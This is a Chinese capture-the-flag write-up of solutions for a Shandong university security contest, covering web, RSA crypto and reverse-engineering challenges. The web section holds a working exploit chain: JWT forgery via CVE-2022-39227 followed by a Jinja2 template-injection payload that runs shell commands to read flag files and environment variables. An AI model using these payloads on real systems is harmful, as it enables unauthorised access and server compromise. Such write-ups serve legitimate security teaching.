Huajiの小窝.

鹏云杯第十二届山东省大学生网络安全技能大赛初赛wp

2025/09/27
loading

“鹏云杯”第十二届山东省大学生网络安全技能大赛 初赛wp

题目不算难,但比赛py似乎有点严重

web1_fix

  1. JWT 验证绕过与提权
    受影响版本的 python-jwt 会同时接受 JSON JWS 与 compact JWS。将一枚合法签名的 compact JWT拆成 header.payload.signature,再构造一个 JSON 形式的 JWS,把这三个字段原样放在 "protected"|"payload"|"signature",同时在 JSON 的最前面再放入一个假的 compact 片段"header.fake_payload."。库在验签时使用 JSON 部分的签名通过校验,但在返回 claims 时却读取前面的假 payload,从而实现不改签名的 claim 覆写(把 role 提升为 admin)。

  2. Jinja2 模板注入(SSTI)
    /api/report/generatetemplate 非空时把整页交给 render_template_string。代码只对 template 参数检查 {{,但未过滤 title 与用户姓名。可在 title 注入表达式读取本地文件。

打cve-2022-39227

(过程有点懒得写了,所以就不写了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
BASE='http://119.45.255.233:29665'
TOKEN=$(curl -s "$BASE/login" \
-H 'Content-Type: application/json' \
-d '{"username":"guest","password":"guest"}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')
echo "$TOKEN"

eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NTg5NTIxMTcsImlhdCI6MTc1ODk0NDkxNywianRpIjoiZ1hxczVVVkhJMTZYTUZ2ZlVxaTVHQSIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc1ODk0NDkxNywicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9.Yf8hKDyDassxe7yEmREx4Iskb5zVKSywZz4eA-aUMLc3uEOfGLejqb2vBqkzhZlBAg0h7dvtef9qsJ7M8A30mG9i-WWU1_N7A7G1X_tZLQwN1buZZ34DEIN1_XsUM52-E3bymHI-I9mRH3TGdAsGDgsG4OYe30RagjhJklLOMcxa98o76NG0dI03PUnK5gOlVwcPJbOlIpXYkQoTkwrRSsDOsnjVZEHEL3w6HDyz6qblYjeOAgbzzPny0J-HBe15VhxRvtKgf4f-9hiVCB7k8Ei7F-HI5f3qMMay2grX5P762OhVKtq4VmfDDwiBfKxPCarSdIzsOt-w0SCEiZOrWw

python3 - "$TOKEN" > body.json <<'PY'
import sys, json, base64
tok = sys.argv[1]
h,p,s = tok.split('.')
pl = json.loads(base64.urlsafe_b64decode(p + '=='))
pl.update({"role":"admin","username":"admin"})
fake_p = base64.urlsafe_b64encode(json.dumps(pl, separators=(',',':')).encode()).decode().rstrip('=')
poly = '{"%s.%s.":"","protected":"%s","payload":"%s","signature":"%s"}' % (h,fake_p,h,p,s)
print(json.dumps({"token": poly}))
PY

curl -s "$BASE/api/verify-token" \
-H 'Content-Type: application/json' \
--data-binary @body.json

{"payload":{"department":"guest","exp":1758952117,"iat":1758944917,"jti":"gXqs5UVHI16XMFvfUqi5GA","name":"guest","nbf":1758944917,"role":"admin","username":"admin"},"valid":true}

POLY=$(python3 -c 'import json;print(json.load(open("body.json"))["token"])')

curl -s "$BASE/api/report/generate" \
-H "Authorization: Bearer $POLY" \
-H 'Content-Type: application/json' \
-d '{
"company_id": 1,
"title": "{{ config.__class__.__init__.__globals__[\"os\"].popen(\"cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null || cat /app/flag 2>/dev/null || env | grep -i FLAG\").read() }}",
"template": "ok"
}' | sed -n 's/.*<title>\(.*\)<\/title>.*/\1/p'
flag{2b85a02b4f6d0f49ca05f766c68ff506}\n

ezcrypto

image-20250927120542463

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Util.number import long_to_bytes, inverse
from math import isqrt

N = 27471366612277687007582969113484500296001065780066244888800712342807125394382681326213781865815461951298727242405665286291957769318403190235219727462190547340268057407480936794909750874545280586676586199139504945994789654115224950518297646992315179314766094156202525491469674180110591820099543752380512935927805722237181
e = 65537
g = 111684314954681193048509857146926361842347687090472066568935363273885037337811
C = 12643371534391958135236095622827564261907624974618206428861944879376238094269846145595767463703827586815298891013812360542402349502974102836324041194817837979051818191875704215738686008582339520686043633518534916826599993931844826243220488649199690449278527396151017995036899907805560418507134336681609833081538329779248

r = 2 * g
h = (N - 1) // r
s0 = h % r

S_min = 1 << 274
S_max = (1 << 275) - 2

k_min = (S_min - s0 + r - 1) // r
k_max = (S_max - s0) // r

p = q = None
for k in range(k_min, k_max + 1):
S = s0 + k * r # a+b 候选
sum_pq = r * S + 2 # p+q
D = sum_pq * sum_pq - 4 * N
if D < 0:
continue # 跳过无效候选
t = isqrt(D)
if t * t != D:
continue
p_candidate = (sum_pq + t) // 2
q_candidate = (sum_pq - t) // 2
if p_candidate * q_candidate == N:
p, q = p_candidate, q_candidate
break

assert p and q, "factor failed"

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(C, d, N)
pt = long_to_bytes(m)
print(pt)
# b'flag{d39691fd3467e11c5c4443e65a93ab37}'

rsaaa

当 p 和 q 很大时,n4 是这个表达式中的绝对主导项,而 p4+q4 相对于 n4 是一个较小的项。所以,我们可以做出一个关键的近似:

ϕ≈n4

题目给出的核心关系是:

e⋅d≡1(modϕ)

这等价于存在一个整数 k,使得:

e⋅d−k⋅ϕ=1

现在,我们用 n4 来近似 ϕ:

e⋅d−k⋅n4≈1

由于 e⋅d 和 k⋅n4 都非常大,这个 “1” 可以忽略不计,所以:

e⋅d≈k⋅n4

image-20250927120742487

一把梭https://g.co/gemini/share/78a8a156a7f5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from Crypto.Util.number import long_to_bytes

# 已知参数
c = 4569479985227351005063785995135067032720378517762895932536659766750620715910605148533244779487921315047171013575610160508152407529266889273867903198797261
n = 4886488210976342084709096740163565218271041981736454979038282347346782586289498952728993072164156014308360739234075655553608312787941314479273226321644139
e = 69226245919249557284362852197482448692961051575353210229155811272280423133461036546714805862880491826820998627526504053578014404131806296413582035968459012627551356400980693085358304615504234701685438459878813948020276726029476169237998655600278740940333141714850818687244699016224065398835277355085190021649464175896949882797374785669601481278636634767170296279707462651980061069176263757678901169598571771064631589157944694386675873019622753613139854047148807223799604198162775252510345809461265433420840521382586775251192251617135265179686326411651203242167525116012981497530813723052998392487942518359093767791

def continued_fraction_convergents(num, den):
"""计算 num/den 的连分数渐近分数"""
a_list = []
while den != 0:
a = num // den
a_list.append(a)
num, den = den, num % den

p_prev, q_prev = 1, 0
p_curr, q_curr = a_list[0], 1
yield p_curr, q_curr # 第一个渐近分数

for i in range(1, len(a_list)):
a_i = a_list[i]
p_next = a_i * p_curr + p_prev
q_next = a_i * q_curr + q_prev

yield p_next, q_next

p_prev, q_prev = p_curr, q_curr
p_curr, q_curr = p_next, q_next

def solve():
print("正在计算 n^4 ...")
n4_approx = n**4
print("正在计算 e / n^4 的连分数渐近分数...")

# 获取渐近分数 k/d
convergents = continued_fraction_convergents(e, n4_approx)

for i, (k, d) in enumerate(convergents):
# 基本的合理性检查
if k == 0 or d == 0:
continue

print(f"尝试第 {i+1} 组候选 (k, d),d 的位数为 {d.bit_length()}...")

# 尝试用候选的 d 解密
try:
m = pow(c, d, n)
flag_bytes = long_to_bytes(m)

# 检查 flag 格式
if b"flag{" in flag_bytes:
print("\n[+] 成功找到 Flag!")
print(f" [-] 私钥 d: {d}")
print(f" [-] 明文: {flag_bytes.decode()}")
return
except Exception as err:
# 可能会出现 long_to_bytes 转换失败等问题,忽略即可
continue

print("\n[-] 未能找到 Flag。")

if __name__ == '__main__':
solve()
#[+] 成功找到 Flag!
#[-] 私钥 d: 1338133894393370430259101557054242526599331059586233740134637750356111
#[-] 明文: flag{fc3f4ce8dc3eaca8807812b8c0435cd4}

game

ida打开到main,反编译

image-20250927121214365

进sub_136D发现是迷宫的初始化

sub_1992是读取输入内容

sub_171E是判断,所以进去看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 __fastcall sub_171E(char a1)
{
unsigned int v2; // [rsp+18h] [rbp-8h]
unsigned int v3; // [rsp+1Ch] [rbp-4h]

v2 = dword_4468;
v3 = dword_446C;
switch ( a1 )
{
case 'w':
v2 = dword_4468 - 1;
break;
case 's':
v2 = dword_4468 + 1;
break;
case 'a':
v3 = dword_446C - 1;
break;
case 'd':
v3 = dword_446C + 1;
break;
}
if ( (unsigned __int8)sub_1486(v2, v3) )
{
dword_4468 = v2;
dword_446C = v3;
sub_14FA(v2, v3);
if ( byte_4140[40 * dword_4468 + dword_446C] == 35 )
{
sub_1805();
return 1LL;
}
}
else
{
puts(asc_2242);
}
return 0LL;
}

进入sub_1805

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int sub_1805()
{
unsigned __int8 v1; // [rsp+Bh] [rbp-5h]
int i; // [rsp+Ch] [rbp-4h]

putchar(10);
for ( i = 0; i <= 38; ++i )
{
v1 = byte_4020[i] ^ byte_4060[i];
if ( v1 <= 0x1Fu || v1 > 0x7Eu )
putchar(46);
else
putchar(v1);
}
return putchar(10);
}

看到byte_4020,byte_4060有异或

sub_14FA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int __fastcall sub_14FA(int a1, int a2)
{
__int64 v2; // rdx
int result; // eax
__int64 v4; // rdx
int v5; // eax
char v6; // [rsp+13h] [rbp-Dh]
int i; // [rsp+14h] [rbp-Ch]
unsigned int v8; // [rsp+18h] [rbp-8h]
int v9; // [rsp+1Ch] [rbp-4h]

v2 = 40LL * a1 + a2;
result = (unsigned __int8)byte_4140[v2];
v6 = byte_4140[v2];
if ( v6 > 48 && v6 <= 52 )
{
v4 = 40LL * a1 + a2;
result = byte_4480[v4] ^ 1;
if ( byte_4480[v4] != 1 )
{
v8 = v6 - 48;
v5 = time(0LL);
srand(v5 ^ (31 * a1 + 17 * a2));
v9 = rand() % 5 + 1;
if ( v9 > 0 && v9 <= 4 )
{
printf("浣犳寫鎴楤oss %d澶辫触锛屾父鎴忕粨鏉燂紒\n", v8);
exit(1);
}
for ( i = 0; i <= 38; ++i )
{
switch ( v6 )
{
case '1':
--byte_4020[i];
break;
case '2':
byte_4020[i] -= 2;
break;
case '3':
byte_4020[i] += 3;
break;
case '4':
byte_4020[i] += 4;
break;
}
}
byte_4480[40 * a1 + a2] = 1;
return printf(asc_222A, v8);
}
}
return result;
}

这里对进行了4次操作,-1-2+3+4,所以在脚本上加上,提出来byte_4020和byte_4060

1
2
3
4
5
6
7
8
9
10
a=[0x22,0xC6,0x39,0x8E,0xDC,0x0B,0x59,0x4C,0xFA,0xA3,0x05,0x86,0xCF,0x3D,0xB7,0x1D,0x63,0xAC,0x2E,0xEF,0x44,0x97,0x5C,0x7B,0xD2,0x08,0x89,0xB9,0x36,0xC9,0x4A,0x13,0x9C,0xDE,0x29,0x6C,0xF7,0x53,0x82,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]
b=[0x40,0xA6,0x5C,0xF5,0x9B,0x4B,0x38,0x36,0x9B,0xC6,0x7D,0xEF,0xB7,0x1E,0xD9,0x11,0x14,0xC3,0x6D,0x92,0x26,0xFF,0x3F,0x08,0xB7,0x60,0xE6,0xD8,0x5E,0x92,0x01,0x62,0xD4,0xBD,0x60,0x11,0x81,0x32,0xFB,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]

for i in range(len(a)):
a[i]-=1
a[i]-=2
a[i]+=3
a[i]+=4
a[i] = a[i] ^ b[i]
print(chr(a[i]), end="")

error

ida打开到main,反编译

image-20250927122302362

发现这里对s1和s2进行了比较

提出来s2=’d2e7f6d2f17123532dd8996ec04d94a6912dafd6f1b37c1d264d43a91d804d63542ef89b’

看sub_127E是加密操作,所以让gpt写,但是乱码,观察汇编,发现loc_12A7中

image-20250927123748284

所以把12AE这里改成1

image-20250927123832100

之后代码就完整了,扔给gpt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
__int64 __fastcall sub_127E(__int64 a1, int a2)
{
__int64 result; // rax
char v3; // [rsp+1Ah] [rbp-1Eh]
char v4; // [rsp+1Bh] [rbp-1Dh]
int i; // [rsp+1Ch] [rbp-1Ch]
int j; // [rsp+20h] [rbp-18h]
int m; // [rsp+24h] [rbp-14h]
int k; // [rsp+28h] [rbp-10h]

for ( i = 0; ; ++i )
{
result = 3LL;
if ( i >= 3 )
break;
for ( j = 0; j < a2; ++j )
{
*(_BYTE *)(j + a1) ^= byte_2060[j % 16];
*(_BYTE *)(j + a1) = sub_1249(*(unsigned __int8 *)(j + a1), (unsigned int)(i + 1));
}
if ( (i & 1) != 0 )
{
for ( k = 0; k < a2 / 2; ++k )
{
v3 = *(_BYTE *)(k + a1);
*(_BYTE *)(k + a1) = *(_BYTE *)(a2 - 1 - k + a1);
*(_BYTE *)(a1 + a2 - 1 - k) = v3;
}
}
else
{
for ( m = 0; m < a2 - 1; m += 2 )
{
v4 = *(_BYTE *)(m + a1);
*(_BYTE *)(m + a1) = *(_BYTE *)(m + 1LL + a1);
*(_BYTE *)(a1 + m + 1LL) = v4;
}
}
}
return result;
}

写解密脚本

解密需按 i=2→0 逆序执行,先还原置换(i 偶数:两两交换;i 奇数:整体反转),再对每字节做inv_sub_1249(x, i+1),最后异或同一轮密钥 byte_2060[j%16]。下面给出 Python 脚本,默认把 sub_1249 视为“左循环位移 ROL n”,其逆为“右循环位移 ROR n”

拿byte_2060=[

0x1A, 0x2B, 0x3C, 0x4D, 0x5E, 0x6F, 0x70, 0x81, 0x92, 0xA3,

0xB4, 0xC5, 0xD6, 0xE7, 0xF8, 0x09, 0x10, 0x00, 0x00, 0x00,

0x03, 0x00, 0x00, 0x00]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# -*- coding: utf-8 -*-
from typing import ByteString

KEY = [
0x1A, 0x2B, 0x3C, 0x4D, 0x5E, 0x6F, 0x70, 0x81,
0x92, 0xA3, 0xB4, 0xC5, 0xD6, 0xE7, 0xF8, 0x09,
]
# 仅用前16字节;其余 db 未被用到,因为代码里 j % 16

def ror8(x: int, n: int) -> int:
n &= 7
return ((x >> n) | ((x << (8 - n)) & 0xFF)) & 0xFF

def inv_sub_1249(x: int, n: int) -> int:
# 假设 sub_1249 是 ROL(x, n),逆为 ROR(x, n)
return ror8(x, n)

def undo_pair_swap(b: bytearray) -> None:
for m in range(0, len(b) - 1, 2):
b[m], b[m + 1] = b[m + 1], b[m]

def undo_reverse(b: bytearray) -> None:
b.reverse()

def decrypt(buf: ByteString) -> bytes:
b = bytearray(buf)
for i in (2, 1, 0):
if (i & 1) != 0:
undo_reverse(b)
else:
undo_pair_swap(b)
for j in range(len(b)):
b[j] = inv_sub_1249(b[j], (i + 1) & 0xFF)
b[j] ^= KEY[j % 16]
return bytes(b)

if __name__ == "__main__":
# 硬编码十六进制密文
s = "d2e7f6d2f17123532dd8996ec04d94a6912dafd6f1b37c1d264d43a91d804d63542ef89b"
data = bytes.fromhex(s)

plain = decrypt(data)

import sys
try:
sys.stdout.buffer.write(plain)
except BrokenPipeError:
pass
#flag{Th1s_1s_My_S1mpl3_Fl4g_f0r_CTF}
CATALOG
  1. 1. “鹏云杯”第十二届山东省大学生网络安全技能大赛 初赛wp
    1. 1.1. web1_fix
    2. 1.2. ezcrypto
    3. 1.3. rsaaa
    4. 1.4. game
    5. 1.5. error